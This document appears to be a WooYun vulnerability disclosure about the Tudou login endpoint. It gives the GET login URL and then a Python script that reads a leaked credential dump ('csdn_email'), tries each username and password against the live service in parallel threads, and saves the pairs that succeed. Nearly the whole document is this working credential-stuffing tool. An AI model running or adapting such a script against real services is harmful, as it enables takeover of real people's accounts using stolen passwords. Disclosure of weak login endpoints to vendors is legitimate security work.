WooYun.org

http://login.tudou.com//passport/ytLogin.do?jsoncallback=jQuery17203996445555239916_1434721317917&loginname=test&passwd=test&remember=1&from=http%3A%2F%2F114.80.122.152%3A8080%2F&_=1434721510212'

#!/usr/bin/env python
#-*-coding:utf-8-*-
import httplib2
import urllib2
import urllib
import socket
import socks
from urllib import urlopen
from string import replace,find,lower
from httplib import HTTPException
from urllib import urlencode
import time
import threadpool
import threading
import pdb
import traceback  
pdb.set_trace()
mutex = threading.Lock()
class fuzz(object):
	def __init__(self,user_pwd,count):
		self.user_pwd = user_pwd
		self.good = []
		self.count = count
		self.threadnum = 10
	def makePackage(self,euser,epwd):
		url = 'http://login.tudou.com//passport/ytLogin.do?jsoncallback=jQuery17203996445555239916_1434721317917&loginname='+euser+'&passwd='+epwd+'&remember=1&from=http%3A%2F%2F114.80.122.152%3A8080%2F&_=1434721510212'
		headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36',
		'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8'}
		
		h = httplib2.Http()
		try:
			res,con = h.request(url)
			
		except Exception,ex:
			print Exception,":",ex
			traceback.print_exc()  
			return
		i = con.find('success')
		t = []
		if i != -1:
			if mutex.acquire():
				self.good.append([euser,epwd])
				print euser+':'+epwd+'\n'			
				mutex.release()
		else:
			pass
	
	def preS(self):
		base = 0
		for each in self.user_pwd:
			self.makePackage(each[0],each[1][0:-1])
			if mutex.acquire():
				if len(self.good) != base:
					self.save()
					base = len(self.good)	
				mutex.release()
	
	def save(self):
		fp = open('result','w')
		for each in self.good:
			fp.writelines(each[0]+' '+each[1]+'\n')
		fp.close()
	
	def gothread(self):
		#建立进程池
		pool = threadpool.ThreadPool(self.threadnum)
		#两个list合并，直接相加就可以
		count = 0
		base = 0
		for i in range(self.count):
			print self.user_pwd[i][0]+'----user-----\n' + self.user_pwd[i][1] + '---pass---\n'
			if mutex.acquire():
				if len(self.good) != base:
					self.save()
					print 'OK\n'
					base = len(self.good)	
				mutex.release()
			pool.add_task(self.makePackage,self.user_pwd[i][0],self.user_pwd[i][1])
		#join and destroy all threads
		pool.destroy()
	
if __name__=='__main__':
	f = open('csdn_email','r')
	up = []
	count = 0
	while True:
		line = f.readline()
		if line:
			i = line.find(' ')
			user = line[0:i]
			pwd = line[i+1:]
			up.append([user,pwd])
			count = count + 1
		else:
			break
	f.close()
	test = fuzz(up,count)
	test.preS()